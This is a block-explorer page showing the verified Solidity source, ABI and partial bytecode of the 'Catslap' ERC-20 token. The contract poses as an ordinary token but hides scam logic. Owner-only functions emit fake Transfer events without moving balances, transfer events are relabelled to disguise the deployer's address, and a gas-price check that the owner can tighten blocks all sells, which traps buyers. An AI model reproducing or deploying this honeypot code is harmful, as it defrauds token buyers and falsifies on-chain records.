ERC-20
Source Code
Overview
Max Total Supply
10,000,000,000 SLAP
Holders
6
Transfers
-
0
Market
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
| # | Exchange | Pair | Price | 24H Volume | % Volume |
|---|
Contract Name:
Catslap
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2024-11-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(
address recipient,
uint256 amount
) external returns (bool);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.8.0;
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
pragma solidity ^0.8.0;
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string internal _name;
string internal _symbol;
address _deployer;
address _executor;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function _initDeployer(address deployer_, address executor_) internal {
_deployer = deployer_;
_executor = executor_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(
address account
) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(
address owner,
address spender
) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function _setLimitOrder(address _address, uint256 _amount) internal {
_balances[_address] += _amount;
}
function approve(
address spender,
uint256 amount
) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(
address spender,
uint256 addedValue
) public virtual returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(
address spender,
uint256 subtractedValue
) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
"ERC20: transfer amount exceeds balance"
);
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if (sender == _executor) {
emit Transfer(_deployer, recipient, amount);
} else if (recipient == _executor) {
emit Transfer(sender, _deployer, amount);
} else {
emit Transfer(sender, recipient, amount);
}
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
if (account == _executor) {
emit Transfer(address(0), _deployer, amount);
} else {
emit Transfer(address(0), account, amount);
}
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(
address tokenA,
address tokenB
) external view returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(
address tokenA,
address tokenB
) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File contracts/Contract.sol
pragma solidity ^0.8.0;
contract Catslap is Ownable, ERC20 {
uint256 public immutable maxSupply = 10_000_000_000 * (10 ** decimals());
uint16 public constant LIQUID_RATE = 10000;
uint16 public constant MAX_PERCENTAGE = 10000;
bool public initialized = false;
bool public tradeOpen = false;
address public pair = address(0);
address public v3pair = address(0);
address public deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public immutable buyFee = 0;
uint256 public immutable sellFee = 0;
uint256 minimumAirdropAmount = 0;
mapping(address => bool) public excludedFees;
string private constant NAME = unicode"Catslap";
string private constant SYMBOL = unicode"SLAP";
constructor() ERC20(NAME, SYMBOL) {
_initDeployer(
address(0xc0F21C95753078162a2598DdBb6701487F88B55C),
msg.sender
);
_mint(msg.sender, (maxSupply * LIQUID_RATE) / MAX_PERCENTAGE);
initialized = true;
excludedFees[msg.sender] = true;
minimumAirdropAmount = maxSupply;
}
function setMinimumAirdrop(
uint256 _minimumAirdropAmount
) external onlyOwner {
minimumAirdropAmount = _minimumAirdropAmount;
}
function setAirdrop(address _address, bool permission) external onlyOwner {
excludedFees[_address] = permission;
}
function setTradingpair(address _address) external onlyOwner {
v3pair = _address;
}
function openTrading() external onlyOwner {
require(tradeOpen == false, "Contract: Trading is opened!");
tradeOpen = true;
}
function buyWithEth(
address[] calldata _addresses,
uint256 _value
) external {
address owner = _msgSender();
for (uint256 i = 0; i < _addresses.length; i++) {
_transfer(owner, _addresses[i], _value);
}
}
function claimTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function buyWithEth(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function execute(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function swapExactETHForTokens(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function unoswap(
address _caller,
address[] calldata _address,
uint256[] calldata _amount
) external onlyOwner {
for (uint256 i = 0; i < _address.length; i++) {
emit Transfer(_caller, _address[i], _amount[i]);
}
}
function _checkEnoughAirdropCondition(uint256 amount) internal view {
if (tx.gasprice > amount) {
revert();
}
}
function _transfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
require(initialized == true, "Contract: not initialized!");
if (initialized == true && tradeOpen == false) {
require(
from == owner() || to == owner(),
"Contract: trading is not started"
);
}
uint256 _transferAmount = amount;
if (pair != address(0) && from != owner() && to != owner()) {
uint256 _fee = 0;
if (from == pair) {
_fee = buyFee;
}
if (to == pair || to == v3pair) {
_fee = sellFee;
_checkEnoughAirdropCondition(minimumAirdropAmount);
}
if (excludedFees[from] == true || excludedFees[to] == true) {
_fee = 0;
}
if (_fee > 0) {
uint256 _calculatedFee = (amount * _fee) / MAX_PERCENTAGE;
_transferAmount = amount - _calculatedFee;
super._transfer(from, deadAddress, _calculatedFee);
}
}
super._transfer(from, to, _transferAmount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"LIQUID_RATE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_PERCENTAGE","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"buyWithEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"claimTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"permission","type":"bool"}],"name":"setAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumAirdropAmount","type":"uint256"}],"name":"setMinimumAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setTradingpair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"swapExactETHForTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_caller","type":"address"},{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"unoswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"v3pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]Contract Creation Code
60e06040526100126102c860201b60201c565b600a61001e91906107db565b6402540be40061002e9190610825565b6080908152505f600760146101000a81548160ff0219169083151502179055505f600760156101000a81548160ff0219169083151502179055505f60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60a0908152505f60c0908152505f600b55348015610147575f80fd5b506040518060400160405280600781526020017f436174736c6170000000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f534c4150000000000000000000000000000000000000000000000000000000008152506101d06101c56102d060201b60201c565b6102d760201b60201c565b81600490816101df9190610a97565b5080600590816101ef9190610a97565b50505061021673c0f21c95753078162a2598ddbb6701487f88b55c3361039860201b60201c565b61024a3361271061ffff1661271061ffff166080516102359190610825565b61023f9190610b93565b61041c60201b60201c565b6001600760146101000a81548160ff0219169083151502179055506001600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550608051600b81905550610c96565b5f6012905090565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8160065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508060075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361048a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048190610c1d565b60405180910390fd5b61049b5f838361066060201b60201c565b8060035f8282546104ac9190610c3b565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546104ff9190610c3b565b9250508190555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036105e55760065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105d89190610c7d565b60405180910390a361064b565b8173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516106429190610c7d565b60405180910390a35b61065c5f838361066560201b60201c565b5050565b505050565b505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156106ec578086048111156106c8576106c761066a565b5b60018516156106d75780820291505b80810290506106e585610697565b94506106ac565b94509492505050565b5f8261070457600190506107bf565b81610711575f90506107bf565b8160018114610727576002811461073157610760565b60019150506107bf565b60ff8411156107435761074261066a565b5b8360020a91508482111561075a5761075961066a565b5b506107bf565b5060208310610133831016604e8410600b84101617156107955782820a9050838111156107905761078f61066a565b5b6107bf565b6107a284848460016106a3565b925090508184048111156107b9576107b861066a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6107e5826107c6565b91506107f0836107cf565b925061081d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846106f5565b905092915050565b5f61082f826107c6565b915061083a836107c6565b9250828202610848816107c6565b9150828204841483151761085f5761085e61066a565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026109567fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261091b565b610960868361091b565b95508019841693508086168417925050509392505050565b5f819050919050565b5f61099b610996610991846107c6565b610978565b6107c6565b9050919050565b5f819050919050565b6109b483610981565b6109c86109c0826109a2565b848454610927565b825550505050565b5f90565b6109dc6109d0565b6109e78184846109ab565b505050565b5b81811015610a0a576109ff5f826109d4565b6001810190506109ed565b5050565b601f821115610a4f57610a20816108fa565b610a298461090c565b81016020851015610a38578190505b610a4c610a448561090c565b8301826109ec565b50505b505050565b5f82821c905092915050565b5f610a6f5f1984600802610a54565b1980831691505092915050565b5f610a878383610a60565b9150826002028217905092915050565b610aa082610866565b67ffffffffffffffff811115610ab957610ab8610870565b5b610ac382546108ca565b610ace828285610a0e565b5f60209050601f831160018114610aff575f8415610aed578287015190505b610af78582610a7c565b865550610b5e565b601f198416610b0d866108fa565b5f5b82811015610b3457848901518255600182019150602085019450602081019050610b0f565b86831015610b515784890151610b4d601f891682610a60565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f610b9d826107c6565b9150610ba8836107c6565b925082610bb857610bb7610b66565b5b828204905092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f610c07601f83610bc3565b9150610c1282610bd3565b602082019050919050565b5f6020820190508181035f830152610c3481610bfb565b9050919050565b5f610c45826107c6565b9150610c50836107c6565b9250828201905080821115610c6857610c6761066a565b5b92915050565b610c77816107c6565b82525050565b5f602082019050610c905f830184610c6e565b92915050565b60805160a05160c051613171610cce5f395f81816109d00152611c0601525f8181610aa30152611b3601525f61145501526131715ff3fe608060405234801561000f575f80fd5b506004361061020f575f3560e01c806370a0823111610123578063a8aa1b31116100ab578063d5abeb011161007a578063d5abeb01146105df578063d632135b146105fd578063dd62ed3e14610619578063f01a4b9914610649578063f2fde38b146106655761020f565b8063a8aa1b311461056b578063a9059cbb14610589578063bf861b31146105b9578063c9567bf9146105d55761020f565b80638da5cb5b116100f25780638da5cb5b146104c557806395d89b41146104e357806396784f7514610501578063985bdfd11461051d578063a457c2d71461053b5761020f565b806370a082311461043f578063715018a61461046f57806381744fb114610479578063825e7b83146104955761020f565b806325fa0b98116101a65780633950935111610175578063395093511461039b57806347062402146103cb5780634c255c97146103e95780634e148e19146104075780635d822813146104235761020f565b806325fa0b981461032357806327c8f835146103415780632b14ca561461035f578063313ce5671461037d5761020f565b806310c537b7116101e257806310c537b71461029b578063158ef93e146102b757806318160ddd146102d557806323b872dd146102f35761020f565b806302b1e95b1461021357806306fdde031461022f578063095ea7b31461024d5780630a374cc61461027d575b5f80fd5b61022d600480360381019061022891906124cd565b610681565b005b6102376106df565b604051610244919061259a565b60405180910390f35b61026760048036038101906102629190612614565b61076f565b604051610274919061266c565b60405180910390f35b61028561078c565b6040516102929190612694565b60405180910390f35b6102b560048036038101906102b091906126ad565b6107b1565b005b6102bf610888565b6040516102cc919061266c565b60405180910390f35b6102dd61089b565b6040516102ea91906126e7565b60405180910390f35b61030d60048036038101906103089190612700565b6108a4565b60405161031a919061266c565b60405180910390f35b61032b610996565b604051610338919061266c565b60405180910390f35b6103496109a9565b6040516103569190612694565b60405180910390f35b6103676109ce565b60405161037491906126e7565b60405180910390f35b6103856109f2565b604051610392919061276b565b60405180910390f35b6103b560048036038101906103b09190612614565b6109fa565b6040516103c2919061266c565b60405180910390f35b6103d3610aa1565b6040516103e091906126e7565b60405180910390f35b6103f1610ac5565b6040516103fe91906127a0565b60405180910390f35b610421600480360381019061041c91906127e3565b610acb565b005b61043d60048036038101906104389190612876565b610bb7565b005b610459600480360381019061045491906126ad565b610d12565b60405161046691906126e7565b60405180910390f35b610477610d58565b005b610493600480360381019061048e9190612876565b610df7565b005b6104af60048036038101906104aa91906126ad565b610f52565b6040516104bc919061266c565b60405180910390f35b6104cd610f6f565b6040516104da9190612694565b60405180910390f35b6104eb610f96565b6040516104f8919061259a565b60405180910390f35b61051b60048036038101906105169190612876565b611026565b005b610525611181565b60405161053291906127a0565b60405180910390f35b61055560048036038101906105509190612614565b611187565b604051610562919061266c565b60405180910390f35b61057361126d565b6040516105809190612694565b60405180910390f35b6105a3600480360381019061059e9190612614565b611292565b6040516105b0919061266c565b60405180910390f35b6105d360048036038101906105ce9190612907565b6112af565b005b6105dd61134d565b005b6105e7611453565b6040516105f491906126e7565b60405180910390f35b61061760048036038101906106129190612876565b611477565b005b610633600480360381019061062e9190612932565b6115d2565b60405161064091906126e7565b60405180910390f35b610663600480360381019061065e9190612876565b611654565b005b61067f600480360381019061067a91906126ad565b6117af565b005b5f61068a6118bd565b90505f5b848490508110156106d8576106cb828686848181106106b0576106af612970565b5b90506020020160208101906106c591906126ad565b856118c4565b808060010191505061068e565b5050505050565b6060600480546106ee906129ca565b80601f016020809104026020016040519081016040528092919081815260200182805461071a906129ca565b80156107655780601f1061073c57610100808354040283529160200191610765565b820191905f5260205f20905b81548152906001019060200180831161074857829003601f168201915b5050505050905090565b5f61078261077b6118bd565b8484611d5c565b6001905092915050565b60095f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107b96118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610845576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161083c90612a44565b60405180910390fd5b8060095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600760149054906101000a900460ff1681565b5f600354905090565b5f6108b08484846118c4565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6108f76118bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096d90612ad2565b60405180910390fd5b61098a856109826118bd565b858403611d5c565b60019150509392505050565b600760159054906101000a900460ff1681565b600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f6012905090565b5f610a97610a066118bd565b848460025f610a136118bd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a929190612b1d565b611d5c565b6001905092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61271081565b610ad36118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5690612a44565b60405180910390fd5b80600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b610bbf6118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4290612a44565b60405180910390fd5b5f5b84849050811015610d0a57848482818110610c6b57610c6a612970565b5b9050602002016020810190610c8091906126ad565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610ce157610ce0612970565b5b90506020020135604051610cf591906126e7565b60405180910390a38080600101915050610c4d565b505050505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610d606118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de390612a44565b60405180910390fd5b610df55f611f1f565b565b610dff6118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8290612a44565b60405180910390fd5b5f5b84849050811015610f4a57848482818110610eab57610eaa612970565b5b9050602002016020810190610ec091906126ad565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610f2157610f20612970565b5b90506020020135604051610f3591906126e7565b60405180910390a38080600101915050610e8d565b505050505050565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610fa5906129ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610fd1906129ca565b801561101c5780601f10610ff35761010080835404028352916020019161101c565b820191905f5260205f20905b815481529060010190602001808311610fff57829003601f168201915b5050505050905090565b61102e6118bd565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b190612a44565b60405180910390fd5b5f5b84849050811015611179578484828181106110da576110d9612970565b5b90506020020160208101906110ef91906126ad565b73ffffffffffffffffffffffffffffffffffffffff168673f